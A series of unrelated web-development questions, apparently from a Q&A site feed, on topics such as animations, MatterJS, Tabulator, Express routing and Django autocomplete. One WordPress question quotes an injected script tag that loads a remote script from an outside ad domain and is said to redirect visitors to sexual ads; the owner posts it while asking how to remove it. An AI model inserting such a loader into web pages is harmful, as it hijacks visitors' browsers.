Cannot delete element after intervals end

I actually using plain JS, and got simple issue.
I’m doing simple fade in and out animation. But after animation i cannot remove element…
I got only idea to just: set zIndex lower and setTimeout to remove element later, when interval for sure is not workin.
Any idea / explaination about mistake i made i really appreciate.

Oh i forgot – for testing i not trigger it from code, but from browser console.

Here is my part of my code:

var transition_effect = {
    anim_counter: 0,
    is_animation_on: false,
    frame_timer: 0,
    FPS: 50,
    fade_in: function(element, time){},
    fade_out: function(element, time){}
}

/*
...
*/

transition_effect.fade_out = function(element, time){
    FPS = this.FPS;
    frame_timer = this.frame_timer;
    var anim = setInterval(function(){
        if(this.frame_timer <= time){
            let velocity = 1/(time/this.FPS);
            let frame_count = this.frame_timer/this.FPS;
            element.style.opacity = 1-(velocity * frame_count);
            if(debug)
                console.log("Transition - fade in: frame = " + frame_count + ", velocity = " + velocity + ", opacity = " + velocity * frame_count)
        }
        
        if(this.frame_timer == time){
            this.frame_timer = 0;
            clearInterval(anim);
            //not work
            document.body.removeChild(document.getElementsByTagName("div")[0]);
            //not work either
            document.body.innerHTML = '';
        }
        this.frame_timer = (this.frame_timer + this.FPS);

        document.body.innerHTML = "";
        document.body.append(element);
    }, 1000/this.FPS);
    
}

MatterJS in React Native Performance issue

I have made a small demo showcasing colliding balls and moving them to a centerpoint. Whilst this works, the performance could be a lot better.

Originally the idea was to create something like a bubble chart, like for example in the following package React-Native-Bubble-Chart. However all packages, libraries, etc. are either out-of-date or simply do not work on both Android & iOS. Therefore I have taken it into my own hands to make something myself.

Like I have said, this example works but the performance is not good. Is it possible to get some advice on this issue?

import React, { FC, useEffect, useRef, useState } from "react";
import { View, StyleSheet, Dimensions } from "react-native";
import Matter from "matter-js";
import Svg, { Circle } from "react-native-svg";

const { width, height } = Dimensions.get("screen");

const PhysicsDemo: FC<{ bubbleData: { name: string; color: string; value: number }[] }> = ({ bubbleData }) => {
  const [bodies, setBodies] = useState<Matter.Body[]>([]);
  const engine = useRef(Matter.Engine.create()).current;
  const world = engine.world;
  const simulationStopped = useRef(false); // Track if we've stopped movement
  const centerCoords = { x: width / 2.5, y: height / 4 }; // The target center coordinates

  useEffect(() => {
    const balls = bubbleData.map((item, i) => {
      return Matter.Bodies.circle(100 + i * 50, 100, item.value * 10, {
        restitution: 0,
        density: item.value * 10 <= 10 ? 0.0025 : item.value * 10 <= 20 ? 0.0005 : 0.00005, // Inverse density scaling
        frictionAir: 0.02 * item.value, // Increase air resistance for bigger bubbles
      });
    });

    Matter.World.add(world, [...balls]);
    setBodies([...balls]);

    // Run physics engine (don't manually setInterval, Matter.js will handle this)
    const runner = Matter.Runner.create();
    Matter.Runner.run(runner, engine);

    // Function to apply force towards the center for each ball
    const applyForceToCenter = () => {
      if (simulationStopped.current) return; // Stop applying force once a ball reaches the center

      let allBallsAtCenter = true;

      for (const ball of balls) {
        const { x: bodyX, y: bodyY } = ball.position;

        // Calculate distance to center
        const forceX = centerCoords.x - bodyX;
        const forceY = centerCoords.y - bodyY;
        const distance = Math.sqrt(forceX ** 2 + forceY ** 2);

        // Only apply force to balls not near the center
        if (distance > 30) {
          allBallsAtCenter = false;

          // Normalize the force to counteract mass difference
          const normalizedX = forceX / distance;
          const normalizedY = forceY / distance;

          // Adjust force based on mass (inversely proportional)
          const massFactor = 1 / (ball.mass || 1); // Avoid division by zero

          // Apply the force
          Matter.Body.applyForce(ball, ball.position, {
            x: normalizedX * 0.005 * massFactor,
            y: normalizedY * 0.005 * massFactor,
          });
        }
      }

      // If all balls are at the center, stop the simulation
      if (allBallsAtCenter) {
        console.log("STOP");
        simulationStopped.current = true;
        balls.forEach((b) => {
          Matter.Body.setVelocity(b, { x: 0, y: 0 });
          Matter.Body.setStatic(b, true);
        });
      }
    };

    const updatePhysics = () => {
      Matter.Engine.update(engine, 1000 / 60); // Update every 16ms (60 FPS)
      applyForceToCenter();
      setBodies([...world.bodies]); // Update bodies for re-render
    };

    const renderLoop = () => {
      if (!simulationStopped.current) {
        updatePhysics();
        requestAnimationFrame(renderLoop); // Continue the loop
      }
    };

    requestAnimationFrame(renderLoop);

    return () => {
      Matter.Engine.clear(engine);
    };
  }, [bubbleData, centerCoords.x, centerCoords.y, engine, world]);

  return (
    <View style={styles.container}>
      <Svg height="100%" width="100%">
        {bodies.map((body, index) =>
          body.circleRadius ? (
            <Circle
              key={index}
              cx={body.position.x}
              cy={body.position.y}
              r={body.circleRadius}
              fill={bubbleData[index - 1]?.color || "red"}
            />
          ) : null,
        )}
      </Svg>
    </View>
  );
};

const styles = StyleSheet.create({
  container: {
    width: "100%",
    height: "100%",
  },
});

export default PhysicsDemo;

How to dynamically disable Tabulator Toggle input checkbox?

I have a Tabulator table listing item price etc.
Now some of the item are actually an item bundle.
How do I implement to disable bundle item members when bundle selected?

My idea is as follows:

  1. Build a mapping between parent and child rows
  2. Implement a custom Select column with toggle functionality
  3. Disable and gray out child rows when a parent is selected

So far I’m only able to achieve grey out child rows, the child rows can still be selected.

Can anyone help to disable the child row input toggle when its parent selected?

my code is below:

    // Sample Data
    let tableData = [
        { id: 1, Mod_Category: "Category A", Mod_Group_Name: "MOD_GROUP", MOD_NAME: "Group A", select: false },
        { id: 2, Mod_Category: "Category A", Mod_Group_Name: "Group A", MOD_NAME: "Item 1", select: false },
        { id: 3, Mod_Category: "Category A", Mod_Group_Name: "Group A", MOD_NAME: "Item 2", select: false },
        { id: 4, Mod_Category: "Category B", Mod_Group_Name: "MOD_GROUP", MOD_NAME: "Group B", select: false },
        { id: 5, Mod_Category: "Category B", Mod_Group_Name: "Group B", MOD_NAME: "Item 3", select: false },
        { id: 6, Mod_Category: "Category B", Mod_Group_Name: "Group B", MOD_NAME: "Item 4", select: false }
    ];

    let parentChildMap = {}; // Maps parent IDs to child IDs

    function buildParentChildMap() {
        parentChildMap = {};
        table.getRows().forEach(row => {
            const data = row.getData();
            if (data.Mod_Group_Name === "MOD_GROUP") {
                const children = table.getRows().filter(r => 
                    r.getData().Mod_Group_Name === data.MOD_NAME
                );
                parentChildMap[data.id] = children.map(child => child.getData().id);
            }
        });
    }

    let table = new Tabulator("#example-table", {
        data: tableData,
        groupBy: ["Mod_Category", "Mod_Group_Name"],
        columns: [
            {
                title: "Select",
                field: "select",
                hozAlign: "center",
                headerSort: false,
                formatter: (cell) => {
                    const data = cell.getRow().getData();
                    return `<input type="checkbox" ${data.select ? "checked" : ""} 
                            ${data._disabled ? "disabled" : ""}>`;
                },
                cellClick: (e, cell) => {
                    const row = cell.getRow();
                    const data = row.getData();
                    if (data._disabled) return; // Prevent interaction

                    data.select = !data.select;
                    cell.getElement().querySelector("input").checked = data.select;

                    // Handle parent-child logic
                    if (parentChildMap[data.id]) { // If clicked row is a parent
                        parentChildMap[data.id].forEach(childId => {
                            const childRow = table.getRow(childId);
                            if (childRow) {
                                const childData = childRow.getData();
                                childData._disabled = data.select; // Disable children
                                childData.select = false; // Uncheck children
                                childRow.update(childData);
                                childRow.getElement().classList.toggle("dimmed", data.select);
                                
                                // Force redraw of child's "Select" cell
                                const selectCell = childRow.getCell("select");
                                if (selectCell) selectCell.redraw();
                            }
                        });
                    }

                    table.redraw();
                },
            },
            { title: "Category", field: "Mod_Category" },
            { title: "Group", field: "Mod_Group_Name" },
            { title: "Item Name", field: "MOD_NAME" },
        ],
    });

    table.on("dataProcessed", buildParentChildMap);
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Tabulator Parent-Child Toggle</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/tabulator/5.5.0/css/tabulator.min.css" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/tabulator/5.5.0/js/tabulator.min.js"></script>
    <style>
        .dimmed {
            background-color: #f0f0f0 !important;
            opacity: 0.6;
        }
    </style>
</head>
<body>
<div id="example-table"></div>

</body>
</html>
https://codepen.io/starrry123/pen/vEYbRxa

How do I read the first N bytes of a file from an HTML File input?

Situation

Say the user may upload a file on a web page, that usually is of a big size (minimum 80 MB, can be way more), and of a specific type, say, for example, PDF.

Considering these are huge files, we wouldn’t want to waste bandwidth unnecessarely uploading the file only to realize the file’s type is wrong. Therefore, we’d want to make sure, on the client side, that the file is indeed a PDF file, and only THEN send it if it indeed it.

Fortunately, the PDF file format has a 5 bytes Magic number, equal to 25 50 44 46 2D.

(It is an example, it could be any file format, I’m using PDF as a reference. What matters is that it is a file format you can differentiate with its magic bytes, which we consider a good enough verification here. Besides, my question could be relevant to other cases, not just this file format example, please consider the PDF example solely as a way to give one practical example about the problem)

Hence my question: How would I read the 5 first bytes of the file, or more generally, **the first N bytes of a file?

You wouln’t want to read the full file, since it can be huge and the client’s hard drive might be slow, you really only need to read those five bytes, and only if they are correct, you will read the rest of the file to send it to the server.

If there isn’t a way, is there any workarounds or ongoing proposals for such a feature?

What I’ve tried

The FileReader API allows to read a file into an array buffer (see this answer and the docs):

var reader = new FileReader();
  
reader.onload = function() {
  var arrayBuffer = this.result,
    array = new Uint8Array(arrayBuffer),
    binaryString = String.fromCharCode.apply(null, array);

  console.log(binaryString);
 }
reader.readAsArrayBuffer(this.files[0]);

This however reads the whole file.

Similar questions that do not give a solution to my question

Why my custom extension for turbowarp doesnt work?

why my custom extension for turbowarp doesnt work?
so im trying to make a numeral encoder/decoder for turbowarp and im having problem that my extension not loading successfully into turbo warp when importing it. this is also question on how to make turbowarp extension since i just started creating turbowarp extesions.

const numeralEncoder = {
  id: 'numeralEncoder',
  name: 'Numeral Encoder/Decoder',
  blocks: [
    {
      opcode: 'encodeToNumbers',
      blockType: 'reporter',
      text: 'encode [text] to numbers',
      arguments: {
        text: {
          type: 'string',
          defaultValue: 'Hello'
        }
      },
      func: function(args) {
        return this.encodeToNumbers(args.text);
      }
    },
    {
      opcode: 'decodeFromNumbers',
      blockType: 'reporter',
      text: 'decode [numbers] to text',
      arguments: {
        numbers: {
          type: 'string',
          defaultValue: '72,101,108,108,111'
        }
      },
      func: function(args) {
        return this.decodeFromNumbers(args.numbers);
      }
    }
  ],

  encodeToNumbers: function(text) {
    const asciiValues = [];
    for (let i = 0; i < text.length; i++) {
      asciiValues.push(text.charCodeAt(i));
    }
    return asciiValues.join(',');
  },

  decodeFromNumbers: function(numbers) {
    const asciiValues = numbers.split(',').map(Number);
    let decodedString = '';
    for (let i = 0; i < asciiValues.length; i++) {
      decodedString += String.fromCharCode(asciiValues[i]);
    }
    return decodedString;
  }
};

Extension.register(numeralEncoder);

New into this field [closed]

Make a webpage for Tracking – with the help of given URL

Below mentioned is the API, you need to fetch the data from the API and display the data over the web page.

https://greentrans.in:444/API/Tracking/GTGRTracking?GRNO=109129839&8&Clientld=

gnsOmdh62H4WEfGLTVPJHA==

The things is i can not able to make a fully functional as they want can someone help me

The things I expected is to learn as much as possible soo please help

Script to add 2 cells together on multiple rows of a Googlesheet

I have a Googlesheet that me and some friends use to keep track of our progress. What I would like is a script that adds two cells together in a row across several rows E.G H6 + C6 updates the value in H6, H7 + C7 updates the value in H7 etc. I would also like the values in C* to be cleared once the sum is completed.

The script would hopefully be able to run when a button on the sheet is clicked.

If it helps, I have been able to get this working in VBA for Excel using the following script:

Sub Mibazza()
Dim ws As Worksheet
Dim lastRow As Long
Dim i As Long

' Set the worksheet
Set ws = ThisWorkbook.Sheets("Delivery") ' Change "Sheet1" to your sheet name

' Find the last row with data in column A
lastRow = ws.Cells(ws.Rows.Count, "A").End(xlUp).Row

' Loop through each row
For i = 7 To lastRow ' Assuming you start at row 2
ws.Cells(i, "J").Value = ws.Cells(i, "d").Value + ws.Cells(i, "J").Value
Next i
Range("d7:d60").ClearContents

End Sub

A value is manually input into C7. H7 is current running total.

 C7   H7
 768  768 

Once button is clicked the results should be

 C7  H7
     1536 

Error while accessing api end point in the frontend

I am encountering this error

POST http://localhost:4000/api/product/validate-coupon 404 (Not Found)

while accessing the validate-coupon in the front end
this is how I am accessing the endpoint in the front end

import React, { useContext, useState } from 'react';
import { ShopContext } from '../context/ShopContext';
import axios from 'axios';
import { toast } from 'react-toastify';

const CartTotal = () => {
    const { currency, delivery_fee, getCartAmount,} = useContext(ShopContext);
    const backendUrl = import.meta.env.VITE_BACKEND_URL

    const [couponCode, setCouponCode] = useState(''); // To store the coupon code
    const [discountAmount, setDiscountAmount] = useState(0); // To store the discount amount in numeric form
    const [couponApplied, setCouponApplied] = useState(false); // Track whether the coupon is applied or not

    // Apply Coupon Logic
    const applyCoupon = async () => {
        try {
            const response = await axios.post(
                backendUrl + '/api/product/validate-coupon', 
                { couponCode },
                { headers: { token: 'dummy-token'} }
            );

            if (response.data.success) {
                
                const discount = response.data.coupon.discountOption;
                const discountValue = (getCartAmount() + delivery_fee) * (discount / 100);
                setDiscountAmount(discountValue);
                setCouponApplied(true);
                toast.success(`Coupon Applied: -${currency} ${discountValue.toFixed(2)}`);
            } else {
                setDiscountAmount(0);
                setCouponApplied(false);
                toast.error('Invalid Coupon Code');
            }
        } catch (error) {
            setDiscountAmount(0); 
            setCouponApplied(false);
            toast.error('An error occurred while applying the coupon');
        }
    };

    const totalAmount = (getCartAmount() + delivery_fee) - discountAmount;

    return (
        <div className='w-full'>

                <div className='flex justify-between'>
                    <input
                        type="text"
                        placeholder="Enter Coupon Code"
                        value={couponCode}
                        onChange={(e) => setCouponCode(e.target.value)}
                        className="border border-gray-300 rounded py-1.5 px-3.5 w-full"
                    />
                    <button
                        type="button"
                        onClick={applyCoupon}
                        className="ml-3 text-blue-600 mt-2"
                    >
                        Apply Coupon
                    </button>
                </div>
                <hr />

                {couponApplied && (
                    <div className='flex justify-between'>
                        <p>Discount Applied</p>
                        <p>-{currency} {discountAmount.toFixed(2)}</p>
                    </div>
                )}
                <hr />
                <div className='flex justify-between'>
                    <b>Total</b>
                    <b>{currency} {totalAmount === 0 ? 0 : totalAmount.toFixed(2)}</b>
                </div>
            </div>
    );
};

export default CartTotal;

and this is the controller which include the validate-coupon function

import { v2 as cloudinary } from "cloudinary";
import productModel from "../models/productModel.js";

const validateCoupon = async (req, res) => {
  try {
      const { couponCode } = req.body;

      // Check if the coupon code exists in your products
      const product = await productModel.findOne({ couponCode });

      if (product) {
          // If coupon code is valid, return the discount value (percentage)
          res.json({
              success: true,
              coupon: {
                  couponCode: product.couponCode,
                  discountOption: product.discount // Assuming it's a percentage discount
              }
          });
      } else {
          // If coupon code is not found, return an error message
          res.json({ success: false, message: "Invalid coupon code!" });
      }
  } catch (error) {
      console.log(error);
      console.error('Coupon validation error:', error);
      res.json({ success: false, message: error.message });
  }
};

export {  validateCoupon };

this is how my product route looks like

import express from 'express';
import { listProducts, addProduct, removeProduct, singleProduct, validateCoupon } from '../controllers/productController.js';
import upload from '../middleware/multer.js';
const productRouter = express.Router();

productRouter.post('/validate-coupon', validateCoupon);
export default productRouter;

and the server.js


import express from 'express'
import cors from 'cors'
import 'dotenv/config'
import connectDB from './config/mongodb.js'
import connectCloudinary from './config/cloudinary.js'
import userRouter from './routes/userRoute.js'
import productRouter from './routes/productRoute.js'
// App Config
const app = express()
const port = process.env.PORT || 4000
connectDB()
connectCloudinary()

// middlewares
app.use(express.json())
app.use(cors())

// api endpoints
app.use('/api/product', productRouter)
app.get('/', (req, res) => {
    res.send("API Working")
})

app.listen(port, () => console.log('Server started on PORT : ' + port))

I have tried changing the endpoint syntax but don’t know why I am encountering these erorrs.

Any help would be appreciated, Thank you.

JS video playsinline not working, video opens full screen

I’m creating a video element in js, setting the playinline attribute to true, but the resulting html is this <video src="images/img2i.mp4" autoplay="" loop="" controls=""></video> and the video still opens fullscreen on my iphone

      video.src = media.source;
      video.preload = "auto";
      video.muted = true;
      video.autoplay = true;
      video.playsinline = true;```

How do I find the location of a strange code in a WordPress?

When I open my site sometimes it redirects me to sexual ads
I checked the template and changed it and it did not solve the problem
I found this code at the top of the page and it might be the problem.

<script>(function(d){let s=d.createElement('script');s.async=true;s.src='https://cjvdfw.com/code/native.js?h=waWQiOjExNDY3MDEsInNpZCI6MTE4NTIwNCwid2lkIjo0NDExNDYsInNyYyI6Mn0=eyJ';d.head.appendChild(s);})(document);</script>

Screenshot of the code on my site

How do I know the source of this code and delete it?

How to listen to connection errors in Action Cable?

// Create WebSocket connection
const socket = new WebSocket("ws://localhost:8080");

// Listen for possible errors
socket.addEventListener("error", (event) => {
  console.log("WebSocket error: ", event);
});

In this way I connect to Action Cable server:

import { createConsumer } from '@rails/actioncable'

export default createConsumer()

How to listen to connection errors in a similar way?

Is there a way to interop between C# and JS? [closed]

I am planning on making extensions for Turbowarp that will allow you to write actual code in various languages and use them for your projects.

The GitHub repo for what I’m working on is here.

I want to make C# one of the languages you can do this with but I can’t find any GitHub projects that could allow for this.

I already found one I could use for Lua, Python, Ruby, and Rust, but figuring that C# and C++ are used mainly for games, I find it pretty important to include them.

Django Select2 Autocomplete: How to Pass Extra Parameter (argId) to the View?

I’m using Django with django-autocomplete-light and Select2 to create an autocomplete field. The Select2 field is dynamically added to the page when another field is selected. It fetches data from a Django autocomplete view, and everything works fine.

Now, I need to filter the queryset in my autocomplete view based on an extra parameter (argId). However, I’m not sure how to pass this parameter correctly.

JavaScript (Select2 Initialization)

function getElement(argId) {
  let elementSelect = $("<select></select>");
  let elementDiv = $(`<div id='element_id' style='text-align: center'></div>`);
  elementDiv.append(elementSelect);

  $(elementSelect).select2({
      ajax: {
          url: "/myautocomplete/class",
          data: function (params) {
              return {
                  q: params.term,  // Search term
                  arg_id: argId    // Pass extra parameter
              };
          },
          processResults: function (data) {
              return {
                  results: data.results  // Ensure correct format
              };
          }
      },
      placeholder: "Element...",
      minimumInputLength: 3
  });

  return elementDiv; 

}

Django Autocomplete View

class ElementAutocomplete(LoginRequiredMixin, autocomplete.Select2QuerySetView):

      def get_queryset(self):
          qs = MyModel.objects.filter(...)

I want to pass argId from JavaScript to the Django view so that the queryset is filtered accordingly. However, I am not sure if my approach is correct or how to achieve this.

Appreciate any suggestions or improvements. Thanks!